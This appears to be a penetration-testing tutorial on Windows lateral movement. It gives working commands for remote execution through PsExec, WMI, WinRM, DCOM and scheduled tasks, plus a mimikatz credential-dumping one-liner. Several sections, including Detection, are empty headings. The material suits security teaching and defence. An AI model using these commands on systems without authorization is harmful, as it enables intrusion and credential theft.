Lateral Movement: Moving Through Network Environments
A comprehensive guide to lateral movement techniques in Windows networks including pass-the-hash, pass-the-ticket, PSExec, WMI, DCOM, and WinRM for authorized penetration testing.
The Anatomy of Network Propagation
Lateral movement is the attack technique of moving from one compromised system to another within a network. After initial access — typically through phishing, exploits, or credential theft — attackers navigate the network to reach high-value targets such as domain controllers, database servers, or sensitive file shares. Understanding the architecture of lateral movement is essential for designing effective network segmentation and detection controls.
Prerequisites
Core Lateral Movement Techniques
PSExec
PSExec executes processes on remote systems via SMB. It copies a service binary to the ADMIN$ share and starts a service on the target.
# Using Impacket
impacket-psexec corp.local/user:password@192.168.1.10
# Native PSExec
psexec \\target-server -u user -p password cmd.exe
WMI (Windows Management Instrumentation)
WMI executes processes without installing any agent. It uses DCOM (TCP 135) or WinRM.
impacket-wmiexec corp.local/user:password@192.168.1.10
# PowerShell
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami" -ComputerName target-server
WinRM (Windows Remote Management)
WinRM provides PowerShell remoting on TCP 5985 (HTTP) and 5986 (HTTPS).
evil-winrm -i 192.168.1.10 -u admin -p Password123
# PowerShell
Enter-PSSession -ComputerName target-server
Invoke-Command -ComputerName target-server -ScriptBlock { Get-Service }
DCOM
DCOM executes code through COM objects like MMC20.Application.
$com = [Type]::GetTypeFromProgID("MMC20.Application", "target-server")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.ActiveView.ExecuteShellCommand("cmd.exe", $null, "/c whoami", "7")
Scheduled Tasks
impacket-atexec corp.local/user:password@192.168.1.10 cmd.exe /c whoami
Credential Gathering
Lateral movement requires credentials. Common sources:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
Detection
Monitor for:
Common Mistakes
Best Practices
Related Tools
Related Articles
Summary
Lateral movement techniques like PSExec, WMI, WinRM, DCOM, and scheduled tasks allow attackers to progress from initial compromise to their ultimate targets. Detection relies on monitoring access to remote management protocols, service creation, and unusual process execution patterns.